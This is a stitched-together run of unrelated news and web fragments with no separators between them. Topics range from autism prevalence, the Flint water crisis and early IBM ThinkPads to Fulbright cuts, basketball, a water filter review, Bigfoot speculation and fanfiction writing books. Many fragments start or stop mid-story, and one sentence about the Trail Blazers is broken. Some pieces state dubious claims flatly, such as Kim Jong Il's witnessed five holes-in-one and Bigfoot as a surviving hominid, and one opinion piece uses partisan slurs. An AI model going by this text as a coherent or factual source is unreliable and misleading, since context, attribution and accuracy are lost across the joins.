People with autism — a complex condition of brain development — tend to have difficulty with social interaction and verbal and nonverbal communications and are prone to repetitive behaviors. While the CDC report describes autism as a development disability, some people with autism say they are simply different, rather than disabled.
The dramatic increase in autism rates in the latest survey suggests that parents used different labels to describe their children than in earlier years, said Katherine Walton, an assistant professor of psychiatry and psychology at Ohio State University, who wasn't involved in the new study.
While the number of children diagnosed with autism went up, the number reporting children diagnosed with "other development delays" went down. Yet the overall number of parents who reported any developmental disability in their kids — about 5.75% — remained the same.
Parents may have changed the way they labeled their children because of changes made to the way that researchers interviewed them, said study coauthor Benjamin Zablotsky, a researcher at the CDC's National Center for Health Statistics.
Different surveys have produced varying autism rates.
The new survey results are similar to those of one released in 2013, which found 2% of children had autism. A study released in 2014 found the autism rate closer to 1.5%.
Although studies have found rising rates of autism for two decades, there is no clear explanation why. It's possible that more children are developing the condition, Walton said. But she notes that the definition of autism is much broader today than it was decades ago. People also are more aware of autism, leading to increased testing of younger children. Multiple studies have ruled out vaccines as a cause of autism.
Alison Singer, whose daughter has autism, said she's less interested in estimating the prevalence of autism than in securing support and services for her child.
"As parents, we're not interested in '1 in 80' or '1 in 100.' We're interested in our one," said Singer, president of the Autism Science Foundation. "We're interested in getting access to services, making sure that children are in the appropriate classrooms and that adults with autism receive supported housing and employment, and that we're funding research to find the cause."
Bernie Sanders has since called for the resignation of Republican Michigan Governor Rick Snyder. Hillary Clinton has demanded federal long-term health monitoring of the children affected by the lead contamination of Flint's water stream. President Obama declared a federal emergency over the Flint water crisis.
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But as for the leading Republican presidential candidates on the apparent poisoning of nearly 100,000 Americans? Nary a peep.
"That's not an issue that right now we've been focused on for me to give you a deeply detailed answer on what the right approach should be," freshman Florida Senator Marco Rubio told reporters at a campaign stop in Coralville, Iowa, on Monday. Rubio declined to comment on Flint's crisis which, studies have already shown, left many children under five with elevated lead levels in their blood.
"[I]n general I believe the federal government's role in some of these things (is) largely limited unless it involves a federal jurisdictional issue," Rubio further explained. "So I'd love to give you a better answer on it," he continued. "It's just not an issue we've been quite frankly fully briefed or apprised of in terms of the role the governor has played and the state has played in Michigan on these sorts of issues."
The National Guard is currently handing out filters and bottled water to residents. Here's a quick summation of the Flint water crisis, via the Daily Beast:
In 2014, the impoverished city stopped buying water from Detroit but residents still needed a potable supply while awaiting the construction of a pipeline to Lake Huron. Sourcing water from the Flint River was seen as an affordable option but investigators now know that, after the switch, the highly corrosive river water leached lead from pipes into people’s homes. [...] In November, the EPA announced that it would investigate whether the Michigan Department of Environmental Quality (MDEQ) violated the Safe Drinking Water Act (SDWA) by not treating the Flint River water with an anti-corrosive agentbefore sending it through the system. And at the end of the year, MDEQ head Dan Wyant resigned after an independent task force faulted his agency’s handling of the situation.
Of course Rubio is hardly the only Republican presidential candidate avoiding the topic of a Republican governor overruling the will of the voters to force out their duly-elected representatives in favor of a hand-picked emergency manager, who then oversaw the poisoning of the town's water source as a means to save money.
Last September, Texas senator and leading Republican presidential candidate Ted Cruz sent his father, Rafael, to the state to court a Flint-area gathering of anti-abortion activists. Cruz has yet to publicly comment on the Flint water crisis.
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In fact, it appears as though Monday's question to Rubio on the campaign trail was the first time any Republican presidential candidate has addressed the disaster that has been brewing for months before exploding into a national controversy.
And while Michigan State Attorney General Bill Schuette said he will investigate how the crisis unfolded to determine if any laws were broken, Democrats -- at least those running for president -- have squarely arrived at a conclusion.
At Sunday's Democratic debate, Clinton directly called out Gov. Snyder for his response to the crisis. “We’ve had a city in the United States of America where the population, which is poor in many ways and majority African-American, has been drinking and bathing in lead-contaminated water. And the governor of that state acted as though he didn’t really care,” she said. Sanders then piled-on, repeating his call for Snyder's resignation.
“We would be outraged if this happened to white kids, and we should be outraged that it’s happening right now to black kids,” Clinton continued at a Martin Luther King Day event in Columbia, South Carolina on Monday, calling the crisis “a civil rights issue.”
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For his part, Gov. Snyder attempted to deflect blame for the crisis by complaining of Clinton's "politicizing" of the issue:
As Democrats force Flint's water crisis into the national debate, it remains to be seen if Republican presidential candidates will even be pressed on the issue by reporters and how, if at all, they defend a Republican governor (once touted for his technocratic approach to governance) who has admittedly referred to the water crisis as "a disaster."
The first three clamshell-styled ThinkPads, the 300, 700 and the 700C, were formally launched on 5 October 1992. They got their first truly public outing at the Comdex Fall computer show on 16-20 November 1992.
20 years old: the IBM ThinkPad 700C
The 700 was based on a 25MHz Intel 486SLC processor backed by 4MB of memory and offered with a choice of 80MB or 120MB hard drive. Its screen was a 9.5in, 640 x 480 monochrome job, physically smaller than the 10.4in, 640 x 480 active-matrix colour screen fitted to the premium-priced 700C. The higher-end model had the same processor as the 700, but a removable 120MB hard drive came as standard. Buyers could choose either 4MB, 8MB or 16MB of memory.
Both machines contained nickel metal hydride batteries good for almost four hours’ use, IBM claimed at the launch. The 700C weighed in at 3.5kg (7.6lb), while the 700 was 3kg (6.5lb). The price was no less hefty: $4,350. That sum meant a lot more then than it does now. In terms of 2012 spending power, that price is equivalent to more than $7000 now. The 80MB 700 cost $2750, the 120MB version $2950 at the time.
Those specs don’t show any great innovation, but the ThinkPad did introduce - or at least popularise - the TrackPoint controller, a tiny joystick built into the keyboard between the G and H keys, in place of a touchpad or, in those days, a touchball.
The 700 and 700C could each be connected to a specific version of the 3550 Expansion Unit, a docking unit IBM introduced on the same day. The 3550 allowed users to connect SCSI devices, and added VGA, keyboard and mouse ports, along with serial and parallel connectors.
Advertising the ThinkPad 300
The ThinkPad 300 was actually made by Zenith Data Systems. It was powered by a 25MHz 386SL processor and fitted with a monochrome 640 x 480 display. Again, it shipped with 4MB of memory and a choice of 80MB or 120MB hard drive. And it too had an Ethernet port.
If the 700 series' selling point was performance, the 300's was battery life. The laptop was said to be capable of running for up to ten hours - impressive even by today's standards. The suggested retail price for the 80MB ThinkPad 300 was $2375, while the model with the 120MB drive cost $2575.
The ThinkPads 300, 700 and 700C defined the core design of the laptop line, defining the way their successor would look right up to the present day. That arguably makes them the first true ThinkPads as we understand the brand name today. But they weren't the first IBM machines to carry the ThinkPad moniker.
That honour goes to the IBM 2521 ThinkPad - known at the time as the ThinkPad - a pen-operated portable that Big Blue actually announced on 17 April 1992, but which didn't ship until the following July. It was based on a 20MHz 386SX processor and equipped with 4MB or 8MB of memory; a 10in, 640 x 480 monochrome display; and a built-in 2.4Kb/s modem. Serial and parallel ports, and connectors for an external floppy drive and a keyboard, were part of the spec too.
Left: IBM's ThinkPad 300, slower than the 700 but longer-running. Right: the first ThinkPad, the IBM 2521
Amazingly, in an era long before the current debate over the future of hard drive technology and the emergence of Flash-based alternatives, the 2521 incorporated a 20MB solid state drive. The 2521 ran PenPoint, an tablet-oriented operating system from Go Corporation.
Come 5 October and the launch of the three clamshells, IBM renamed the 2521 the ThinkPad 700T to bring its naming into line with the three new laptop models. It also tweaked the design slightly to make it more robust.
The following year, on 4 May, IBM rolled out the ThinkPad 720 and 720C, upping the original 700-series models' 25MHz processor with a 50MHz version.
On 16 June 1993, Big Blue announced the ThinkPad 500, described at the time as its first sub-notebook. Retailing for $1999 and measuring 253 x 188 x 40mm, it was based on a 50MHz 486SLC2 processor and offered with a choice of 85MB or 170MB hard drive - for an extra $500. The AC adaptor was built in to allow the 500 to be connected directly to the mains, saving users from having to lug around a power brick too.
IBM's first sub-notebook: ThinkPad 500
Source: McCain's Museum of Ancient Personal Computers
The 350 and 350C built on the original 300, upping the CPU to a 25MHz 486SL from the earlier machine's 386-class chip and increasing the choice of storage capacities to 125MB and 250MB. The two 350s cost $1999 and $2499, while the two 350Cs were priced at 2599 and 2999.
1993 and the years to come would see further tweaks to these models, alongside some curious variations: the ThinkPad 220 compact sub-notebook in 1993, followed by the 800 series of PowerPC-based laptops in 1995. That year also saw the introduction of the ThinkPad PC110, handheld PC only made available to Japanese buyers.
Micro-computing: IBM's handheld ThinkPad, the PC110
Source: Mips @ Facepunch
The PC110 was based around a 4.7in 640 x 480 passive matrix colour display and featured a 33MHz 486-class processor, 20MB of memory and an internal 4MB Flash card for permanent storage. It also had a 2.4Kbps modem. It even had side-mounted LCD strip to display battery status information and the like.
Speaking to BBC Radio 4 on Tuesday morning, the former Democratic candidate for the White House said that rallying against Trump was the only way to ensure he would not remove key rights, such as abortion.
"Trump's agenda is a minority agenda, not supported by the most people in our country. Our job is to mobilize and educate and to fight back at every instance," Sanders told the BBC.
"Our job is to oppose him vigorously through millions of people in many, many different ways," he added.
"We have got to rally millions of people to stand together, to say, 'We are not going to be deporting millions of Latinos from this country … We are not going to allow women to be insulted and attacked and have their rights taken away from them,'" the Vermont senator said.
President-elect Donald Trump reiterated last Sunday his intention to overturn the legalization of abortion. During his campaign, Trump was often criticized for his sexist and discriminatory views.
"The only way that we can stop it is to bring millions of people together to make it clear to Trump and his allies that they will pay a very, very heavy political price if they go forward in policies that the American people don't want," Sanders added.
Now, before getting all bent out of shape that such a score is impossible or clearly the product of creative scorekeeping on the part of the “Dear Leader,” it’s important to note that witnesses attest to his great round.
According to reports, Kim, who was 52 at the time, carded no worse than a birdie on any hole at the country’s only golf club. He also had five holes-in-one in the round, which was witnessed by 17 armed bodyguards.
Sep. 15, 2013, 5:27 PM GMT By Tia Ghose
Despite never having performed surgery or dissected an animal, 8-month-old babies expect living creatures to have insides, new research suggests.
The study, detailed Sept. 3 in the journal Proceedings of the National Academy of Sciences, revealed that tots expected self-propelled objects to have guts and were surprised when those objects were hollow.
The results suggest babies have an innate ability to understand the basic biology of animals.
"Young children expect animals to have different insides from inanimate objects, and they realize that an animal's insides are important for its survival," study co-author Peipei Setoh, a psychology doctoral candidate at the University of Illinois at Urbana-Champaign, said in a statement. "They know that if you remove the insides, the animal can't function." [11 Surprising Facts About a Baby's Brain]
Built-in awareness
Babies may look like blank slates, but a lot is going on behind those chubby cheeks and wide eyes. Some studies suggest babies have moral compasses, and other research has found that infants have an intuitive grasp of physics and even statistics.
For instance, when they see objects moving by themselves, babies assume those objects must have internal energy. And when they see objects that seem to respond to environmental changes, they think those objects must have mental awareness.
But whether they had a similar sense about biology wasn't clear.
Animals have guts
So Setoh and her colleagues showed a variety of toys to babies as young as 8 months. Some of the objects were both self-propelled and able to respond to their environment (a sign that they had mental states). Other objects had just one of those traits, and still other toys were completely immobile.
Then, the team opened up the objects, revealing hollow insides.
The babies looked longer at the toys that moved on their own and responded to environmental cues. That suggested the youngsters viewed these objects like animals with guts and were surprised by their empty insides.
In a second experiment, the team showed furry objects to tots, before revealing the furballs were hollow. Because even young babies know that animals have fur, the tots once again looked longer at their hollow insides than at the non-furry objects that were hollow, suggesting their expectations were confounded.
The findings support the view that infants have awareness of how animals operate.
"When babies encounter a novel object that is both self-propelled and agentive, they categorize it as an animal, and they assume it has insides,” study co-author Renée Baillargeon, a psychology professor at the University of Illinois Urbana-Champaign, said in a statement.
It's not clear why babies come wired with a built-in biological intuition, but one possibility is that it helped them identify prey or flee from dangerous predators in our evolutionary past, the researchers note.
Texas Senator Ted Cruz has never been the senatorial wallflower. It is his willingness to go against the tide of the voices around him and speak commonsense over whatever issues are lingering on the Senate floor that has earned him much of the ire from his colleagues that we heard, as he battled and failed to win the GOP presidential nomination.
After this past weekend’s terrorist attack/mass shooting in Orlando, the usual suspects (Democrats) began the drumbeat for gun control afresh.
This limp-wristed, knee-jerk reaction to every gun tragedy is not without an ultimate goal.
No, it’s not to prevent more gun deaths.
A populace disarmed is a populace in chains. Democrats know this.
On the Senate floor today, Senator Cruz took the Democrats to task.
From Conservative Review:
“This week played out all too predictably.” Cruz said. He blasted Democrats for shifting to gun-control and in particular characterized Senator Chris Murphy’s (F, 8%) filibuster as “a political show on the Senate floor.”
And I have to add, the unwillingness of the Democrats to observe a moment of silence for Orlando’s victims, choosing instead to act as the unwashed mob and shout about their agenda instead shows how low Democrats have sunk. There is a time to talk business, but sometimes, decency dictates you make those small shows of unity.
“This is political distraction; this is political gamesmanship.” Cruz said. “And I think the American people find it ridiculous … this is not a gun-control issue. This is a terrorism issue.” “You don’t defeat terrorism by taking away guns,” he added later, “you defeat terrorism by using guns.”
Well said, Senator.
Former Fulbright scholars are not the type to shy away from a fight. Their ranks include dozens of Nobel and Pulitzer prizewinners, geniuses recognized as MacArthur Foundation fellows, and almost 60 foreign Fulbrights who went on to become heads of state.
Now, the program’s funding is facing what its alumni association calls an existential threat from a 47 percent cut proposed by the Trump administration, one of many sharp reductions in the State Department budget. And over 100,000 former Fulbright scholars, among them several members of Congress, are being asked to lobby for not only full funding but also a small increase.
“A 47% cut would devastate the Fulbright Program, forcing the elimination of many grants and damaging our relationships with host countries,” says the appeal, which also asks alumni to take to social media using the hashtag #StandForFulbright. “The program as you know it, which changed your life and makes the world safer and more peaceful, would be diminished beyond recognition.”
[What Trump cut in his agency budgets]
The Fulbright alumni are part of a growing parade of individuals and organizations heading to Capitol Hill in coming weeks to persuade lawmakers to reject the administration’s proposed cuts. Next week, for example, more than 500 leaders in business, retired military, nonprofits and faith groups will urge lawmakers to provide more money for the State Department and the U.S. Agency for International Development.
Few carry the pedigree and credentials of the Fulbright scholars.
The program was the brainchild of Sen. J. William Fulbright, who proposed it in the wake of World War II as an expression of the U.S. commitment to democratic values and soft power.
“It is a modest program with an immodest aim — the achievement in international affairs of a regime more civilized, rational and humane than the empty system of power of the past,” he said of the program, signed into law by President Harry S. Truman in 1946.
Over the past seven decades, 370,000 people from 165 countries have received Fulbrights to study abroad, both Americans going overseas and foreigners coming to U.S. universities.
During the current budget year, the U.S. government has provided a little more than $235 million to finance study abroad for about 8,000 scholars. The Trump administration wants to slash that to $125 million — less money than other governments, universities and businesses contribute separately. The Fulbright Association wants it increased to $240 million.
[Tillerson tells State Department employees budget cuts reflect new priorities]
“We’re dismayed,” said John Bader, executive director of the Fulbright Association, predicting the economic impact would be immediate. “People will lose jobs, people will be hurt, and American universities will suffer. Because suddenly the scholars they were expecting to come to town won’t.”
Previous administrations have tried to pare back the Fulbright budget but never succeeded, in large part because it enjoys broad bipartisan support in Congress.
“President Trump’s budget is a blueprint,” said a statement by Sen. John Boozman, a Republican from Fulbright’s home state of Arkansas who supported a funding increase the program received this year. “Congress has the power of the purse and I look forward to working with my colleagues on the Budget and Appropriations Committees as the FY18 process gets underway.”
Among the more effective lobbyists for the Fulbrights are the three members of Congress who themselves are alumni.
“The symbolism of what the Fulbright program has meant over many years, decades now, is something we need to hold on to and preserve,” said Rep. John Sarbanes (D-Md.), who studied law and politics in Greece on a Fulbright scholarship and signed a letter urging House appropriators to keep its funding strong.
A school in Cagayan de Oro City is imposing a "true love waits" policy on its students to prevent teenage pregnancies.
Golden Heritage Polytechnic College forbids its students from having a romantic relationship with the opposite sex as long as they are enrolled in the said school.
A gigantic tarpaulin mounted at the campus entrance reminds students of the school's policy.
The same prohibition is also printed on teachers' uniforms.
School president Capt. Tito Dichosa said his only wish is for his students to finish college. He added that he gets frustrated whenever a student gets pregnant and stops studying.
TVLine has learned that Brian Baumgartner will guest-star on CBS’ recently renewed Criminal Minds, in a role that promises to be even more off-kilter than his onetime Office employee.
RELATED | CBS Renews NCIS, Good Wife, Criminal Minds, Mom, Five-0, Blue Bloods and 12 Others
Perhaps taking a cue from the Scranton Strangler, Baumgartner will in this season’s 22nd episode, titled “Fatal,” play a man who at an unexpected crossroads in his life goes on a killing spree.
Since The Office wrapped its run last May, Baumgartner has guested on such shows as Rake, Mike & Molly and Hot in Cleveland.
Our history as a species is truly shrouded in mystery even if we follow an evolutionary mindset. Graham Hancock said, "I believe we are a species with amnesia." There has never been a more true statement and it begs the question of whether we are a quarter-million year old creature or if in fact that could be a conservative estimate. As we dig deeper I confidently believe it will be the latter and we will discover that humankind goes back at least several million years.
However, over the past ten or twenty years there have been many archaeological discoveries, both quite legitimate and quite controversial in their mainstream context. We have learned that Homo sapiens lived alongside numerous other hominid species - even having cross-bred with those such as Neanderthal peoples. The appearance date of what we know as the modern day human is continually being pushed back further and further. And with this, we are not merely talking decades or even centuries. It is now believed in many academic circles that Homo sapiens first appeared more than 300,000 years ago. Take a moment to let that sink in. It's difficult for us to imagine the passing of even 100 years, even as we tend to measure such things by technological advances or historical record. The current paradigm for so many dearly held beliefs is being shattered.
Art by Alexa Evans This train of thought can lead to the speculation of several origin concepts such as creationism (or the idea God created everything) or even the genetic intervention of ancient aliens. Chances are slim to none that we will ever know for sure but the facts emerging from those excavations taking place around the world make our family tree a much more convoluted affair. It seems to me that in relation to the phenomenon of Bigfoot, they may very well be a fading bipedal cousin of ours who once walked alongside the many hominid variations that existed in the fossil record.
The Sasquatch may be a more robust and adaptable animal such as human beings are, scattered globally and able to survive in small groups through climate changes and large scale catastrophes. Their numbers, however, having dwindled slowly since the last ice age and possibly separated from the knowledge and progress of humans, have retreated into the remote areas where we so rarely tread. This in turn would have made them a shy and fearful creature, yet highly intelligent and cunning. Forced into the environments unscathed by the great floods or meteor strikes, they might have even been more "civilized" in the ancient past and regressed by necessity into primitive hunter/gatherer types.
Whatever and however things have progressed, the most likely argument against Sasquatch being any kind of missing link will be the evidence stated earlier about different hominids coexisting. Somewhere in the mists of time, the Bigfoot branch of our family tree split off into its own, just as Neanderthal, Cro-magnon , etc. and that none of these species are evolutionary stepping stones.
When the Trail Blazers
J.J. Hickson off of the waiver wire two weeks ago, they thought they were taking a flier on an athletic big man who might finally serve as the long desired backup to All-Star LaMarcus Aldridge.
But an unexpected thing has developed during Hickson’s brief time with the Blazers: He and Aldridge are evolving into a force when they play side by side.
“He’s so active,” Aldridge said. “I’ve always wanted to play with somebody that was like a Lou Amundson or a Reggie Evans; somebody that’s active, that’s always keeping guys on their toes. And I think he’s been big late in games, when teams have been keying on me. He’s been getting easy buckets and he’s been coming through for us.”
Interim coach Kaleb Canales regularly has featured the two athletic forwards in the fourth quarter and during crucial possessions down the stretch of close games, and the results have been positive. Defenses have long game-planned to slow Aldridge, throwing a variety of double teams and schemes his way. But opposing coaches are having to think twice about focusing too much on Aldridge now that Hickson is in the picture.
If defenses double team Aldridge, the court opens up for Hickson to use his athleticism and scoring mentality to penetrate the lane through single coverage. Then, when teams counter by scheming to stop Hickson, who is averaging 14.6 points and 6.4 rebounds in eight games with the Blazers, the court opens up for Aldridge to use his vast array of offensive skills.
“We’re comfortable with them on the floor together because they are playing really well off of each other,” Canales said. “We’re excited about that combination going forward.”
Hickson had his breakout 29-point, 13-rebound game with the Blazers when he started in place of an injured Aldridge against the Los Angeles Clippers. But he’s made an equally important contribution when playing alongside the Blazers’ marquee player.
Canales has played the two together at various times in recent games, but he seems especially comfortable doing so in the fourth quarter. During Wednesday night’s 101-88 victory over the New Jersey Nets, Hickson played six minutes in the fourth, making all three of his field goals and scoring six points. During a 99-93 win over the New Orleans Hornets on March 29, Hickson finished with the same fourth-quarter line.
The Blazers won both games with clutch fourth-quarter play.
“It’s always a confidence builder for myself, to know that Coach wants me in the game in crunch time at the end of games,” Hickson said Wednesday night of his expanding fourth-quarter role. “Every practice we have, every game we have, I’m getting more comfortable and comfortable. Tonight, I definitely got a little more comfortable with what we were doing on the offensive end, as well as defensive end. And like I said, I’m just playing off (Aldridge).”
Przybilla day-to-day
Joel Przybilla traveled with the Blazers to Dallas Thursday afternoon, but he’s considered day-to-day because of sprained left ankle. Canales said Przybilla would be a game-time decision tomorrow, when the Blazers visit the Mavericks.
Canales refused to say who he would start if Przybilla can’t play. But odds are he turns to Hickson, who started in place of Przybilla against the Minnesota Timberwolves Saturday, when Przybilla sat with a sore right knee.
The Tony award-winning actress said she had been fighting a legal battle with Woodard's mother, Sandra McBeth Reynolds - who is married to the father of Pinkins' daughter.
"The number of people they burned, and the people who lost their homes, is huge," Pinkins told the website, referring to loan and mortgage deals gone bad. "Their enemies list is huge."
The killer apparently knew where Woodard was staying and when he would be leaving. Kelly said Woodard, who did not have a plane ticket home, checked out of the hotel before he was killed.
In addition to the smartphone that he was looking at, Woodard was carrying a second phone in his luggage and a third on his person.
Kelly, without providing details, said Woodard worked as a music promoter.
Out in California, family members mourned Woodard, who had a daughter.
"Our hearts are just very hurt right now," stepfather Rod Wellington told KTLA. "We're here trying to deal with the grief...the loss of a son, also a father."
Katadyn recently released the BeFree, a small, soft water bottle that filters water as you drink. I took it hiking in Alaska to find out how it works.
I kneel by a deep, clear puddle surrounded by mountains. Even in late June, the air is chilly. Ice floats in a nearby lake. The mountains are white with snow.
But in the distance a marmot peeps, breaking the silence of the high Alaska wilderness. The noise is a reminder that, even though the waters here are crystal clear, the risk of fecal contamination and diseases like giardia remain very real.
I dip the wide mouth of the Katadyn BeFree water filter into the puddle, filling it easily to the brim, screw on the filter-lid, and drink deeply. Delicious.
Katadyn BeFree: Simple Water Filtration
The BeFree is basic filtration. You just fill the bottle with water and drink. It takes very little pressure to pull water through the filter tip, and thus you can kind of squeeze the very pliable HydraPak SoftFlask bottle and blast water into your mouth, or suck water through.
It’s a user-friendly system that makes for easy hydration on the go.
99.9999% Of Bacteria And Protozoa
The 0.1-micron “EZ-Clean hollow-fiber filter” will remove any nasties found in backcountry waters in North America, including Cryptosporidium, Giardia, E-Coli and Salmonella. The filter won’t remove viruses, which are smaller than .1 microns, so if you’re planning to travel somewhere virus contamination is a concern, look elsewhere for a water purifier.
But for most backpacking in wilderness areas, this filter is sufficient to keep you safe.
Large Mouth Bottle
The bottle of the BeFree system has a wide opening, making it really easy to fill even in still water. This contrasts with some other systems I’ve used, which are a real pain to fill when submerging in a lake or puddle.
The screw-top filter is easy to attach and remove, and a snap-cover keeps dirt and other contaminants away from the tip.
Shake To Clean
The Katadyn stands apart in that it does not require complete back-flushing to clear clogs. Instead, you just shake the bottle to unplug the filter.
While I’ve used the filter on a couple hikes, at this point it has not yet clogged at all. I don’t know if this is because it’s simply not been used enough, or if sloshing in my backpack has been enough to keep the filter clear.
I’ll update this once I plug it up some day, if that ever happens. But for now, a couple days of use haven’t clogged the filter.
Single Serving Size
The HydraPak SoftFlask bottle holds about a half liter of water. Thus, it’s great for a solo adventurer who wants quick water access anywhere. You could certainly use it to filter water into other containers, and at 1.06 quarts per minute, it wouldn’t be all that slow. But due to the small bottle, you’d be refilling it a lot. For large groups, better options exist.
But this little system weighs just 2.05 ounces. It stashes in a jacket pocket, and fills with ease. If you want a simple system to fill, drink, and go, this one’s a great option and so far I’ve been pleased.
Gordon Brown is a sports fanatic whose passion for Raith Rovers, the football team he has supported since childhood, is a matter of public record. But the BBC has barred the prime minister from appearing on its Sunday night Premier League highlights programme Match of the Day 2, saying it is too close to an election to have him on as a guest.
Downing Street asked if Brown could appear in the MOTD2 studio alongside the presenter, Adrian Chiles, and pundits, who include Lee Dixon, towards the end of last year. The prime minister's advisors wanted him to talk about England's bid for the 2018 World Cup, but after taking advice, the show's production team declined.
A BBC spokeswoman said: "We made the judgment it wouldn't be appropriate in the run-up to the election".
The BBC must adhere to strict guidelines about impartiality in the months before a general election, giving equal airtime to representatives of the main political parties. Brown's appearance was part of a No 10 campaign to soften his image in recent months by encouraging him to extend his media appearances beyond the news bulletins. Brown's confessional ITV1 interview with Piers Morgan last month was regarded as a success by his advisers.
Tony Blair was the first prime minister to appear regularly on TV outside news and current affairs programmes, agreeing to be a guest on ITV's This Morning on several occasions.
That approach has since been aped by the Conservative leader, David Cameron, who regularly appears on breakfast TV and has given ITV unprecedented access to his private life for a Sir Trevor McDonald documentary to be shown on Sunday.
In November 2005, Blair was a guest on Football Focus, BBC1's Saturday lunchtime show.
A BBC insider said Football Focus is regarded as a lifestyle show with a wide range of guests and pointed out it is highly unusual for anyone who is not a pundit to be invited on Match of the Day or its Sunday spin-off show.
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The fund will help pay for Deferred Action for Childhood Arrivals renewal fees, Visa renewal fees and legal fees, as well as expenses that might come as a result of delayed or impacted travel, according to a website outlining the new policy.
“Eligible expenses include airfare, rental care, and housing accommodations such as hotel,” the policy states, adding each eligible student may receive up to $700 in funding.
Chris Records, director of campus affairs for the Graduate Student Government, told The College Fix that the fund is supported by “program fees,” not tuition, and is important and justified.
“Two hundred-fifty two students at USC come from the six countries affected by the ban. At least 50 undocumented students attend USC. Their tuition subsidizes domestic student tuition, in many cases. According to the Institute of International Education, 70 percent of international students pay for tuition out of pocket. Mindful of this, the Senate overwhelmingly chose to use these funds for this purpose,” Records said via email.
He added that the inspiration behind the fund is to support students who are at risk of deportation or stuck in transit.
“I personally know several students who were shut out of the country in the aftermath of the first ban, who had canceled flights, who were stranded in Turkey or in Germany. These folks are Masters and PhD students, many of whom are contributing to important research in health and science, many of whom teach undergraduates. The university tangibly profits from their labor. We should support them,” Records said.
He rejects the notion that the fund means domestic students lose money to pay for foreign students.
“[A]t USC, domestic students would not enjoy even half the aid that they currently receive without the additional tuition dollars that international students contribute,” Records said.
The Daily Trojan reports that $20,000 has been set aside for the fund.
“With this fund, we are demonstrating both our solidarity with and our commitment to our fellow students, staff and faculty who face an unprecedented and un-American assault from forces who seek to obscure the essential contributions that immigrants and refugees have made and continue to make to this country,” the USC Price Student Organization Coalition stated in a letter to the editor in the Trojan.
“We will continue to identify and pursue opportunities to stand with them in the months and years to come, mindful of the fact that the Trojan family includes undocumented and Muslim students, and that this University could not and would not be nearly as vibrant or prosperous without them.”
MORE: University leaders denounce Trump’s immigration order, pledge to protect ‘Dreamers’
MORE: UC President Napolitano to campus cops: Don’t enforce federal immigration law
Who is Robina Hood? Photograph: Graham Turner
The United States of Europe are here. Englishness has been outlawed. And the BBC holds morning prayer meetings to swear loyalty to its European overlords.
Welcome to the satirical sledgehammer of small-mindedness that is Revolt, the first novel to be published under the pseudonym Robina Hood. It is interesting for one reason only; the real author is, if the blurb is to be believed, one of the country's best-loved broadcasters.
Surely, then, her identity is a matter of public interest. People deserve to know which of the country's best-loved broadcasters is responsible for the notion of a "quasi-compulsory homosexual experience" at a "Gay Awareness Camp".
An entirely speculative investigation turns up two prime candidates: Carol Vorderman and Anne Robinson.
Robinson has the Little Englander credentials, having famously put the Welsh into Room 101. Combine this with her support for fox hunting, and the fact that Robina is a bit like "Robinson, A", and suddenly it doesn't seem too implausible that she might have mistaken herself for Ukip's own Orwell.
But Vorderman is also a candidate after her performance as the wicked witch of the witless on Question Time.
The following list is a compilation of my top writing resource picks for fanfiction writers:
15. Elements of Style by Strunk and White: Writing is communicating and that means having a handle on the mechanics like punctuation, tenses, possessives, and pronoun use will give you power over written language. This classic grammar guide is short, easy to read, and helpful, and it will make sure your writing is well organized and correctly structured.
14. 45 Master Characters by Victoria Lynn Schmidt: Not only is this book a great beginner’s introduction into character archetypes and traits, it’s also a great reference for mythical characters as well. It’s easy to read and well organized, a great reference especially for beginning writers.
13. Chapter After Chapter by Heather Sellers: I’ve noticed that many creative types, while often extremely protective of their work, can also feel insecure about its quality. This small dose of doubt can stop a writing project in its tracks. To avoid that, read this book! Heather Sellers gives great motivational activities to keep you writing and focused on finishing that fanfic!
12. Steering the Craft by Ursula LeGuin: If the name Ursula LeGuin doesn’t ring a bell for you then you need to read more fantasy! She is a famed fantasy writer, and in this book, she gives some great exercises and insight into two areas that are often neglected in other writing tomes: voice and rhythm. She also has some killer writing exercises in there so don’t pass this one up!
11. On Writing by Stephen King: Yes, THAT Stephen King. The very same Stephen King that has been giving me nightmares with stories like Salem’s Lot and Cujo for years. But when Stephen takes a break from weaving his tales of paranormal horror, he gives some incredible insight on writing in this memoir. Definitely up there on the must-read list, after all, who better to learn from than one of the greats?
10. Plot and Structure by James Scott Bell: Plot is the skeleton upon which you drape your lush worlds and your super developed characters. It is what holds your story together. Learn how to craft a strong plot to lay the foundation for a solid story structure with this handy book.
9. 20 Master Plots by Ronald Tobias: Speaking of plotting, this is a handy reference when trying to figure out what kind of plot you want (or maybe to write from a new plot structure you haven’t tried yet). This book incorporates the elements from most major story types with tips and features for each one. I learned about story structures I hadn’t even heard of once I picked up this book. For the fanfic writer looking to create a unique story, this is a great way to change it up.
8. The 3 A.M. Epiphany by Brian Kiteley: Sometimes even the best writing reference books have exercises that get a little stale and repetitive. Not so with this one! Brian Kiteley does a great job of keeping your imagination twisting and turning with highly engaging exercises in his book.
7. The Writer’s Complete Fantasy Reference by Andrew I. Porter, Donald A. Wollheim, and Frederik Pohl: A must-have resource for any writer who wants to write fantasy novels. This book has two subsequent reference manuals that go with it, but I find this one to be the most helpful. It goes over establishing magic systems, gives tips on world building, and comes with a super handy glossary too!
6. Writer’s Guide to Character Traits by Linda N. Edelstein: Studying human behavior is a great way to keep your characters multi-dimensional whether they’re canon or completely new. This reference guide deals specifically with human behavior and traits. It also comes with some character archetypes.
5. Naming the World by Brett Anthony Johnston: If practical writing exercises are what you’re looking for, then Naming the World is exactly what you need. Having used this book myself in my collegiate writing career, I can say that it has helped me produce some of my best and richest work. You won’t find any clichés in here. This will challenge you to think more deeply about your work, but it’s so worth the effort.
4. Wabi Sabi for Writers by Richard R. Powell: Mechanics is one thing, but the ability to think like a writer, to form emotions into words? That can be really difficult. This book helps you channel the passion you have for favorite characters and stories and use it to create something unique, emotionally powerful, and beautiful. Richard references a lot of Confucian philosophy and Basho the famous haiku poet, so it would definitely resonate well with fanfiction writers who focus on writing fanfics of their favorite animes!
3. The Art of Fiction by John Gardner: Understanding the simple principles of good writing will give you an incredible foundation in creating some awesome fanfic. John Gardner can help you easily either transition from being fanfiction reader to fanfiction writer or help you evolve your craft to the next level.
2. Bird by Bird by Anne Lamott: As writers, the last thing you need is someone patting your head and telling you that writing will always be kittens, flowers, and rainbows. Not only does Anne Lamott respects the craft by being honest about it, she also imparts valuable writing wisdom in a humorous and often irreverent way.
This is Luke and Tina’s 204 sq. ft. solar-powered tiny home on wheels.
Outside, you’ll notice there’s a rooftop balcony accessible from the sleeping loft.
When you step inside, you’ll find a living area, two lofts, a bathroom, kitchen, and plenty of storage throughout.
The off-grid home also features a rainwater harvesting system and a composting toilet.
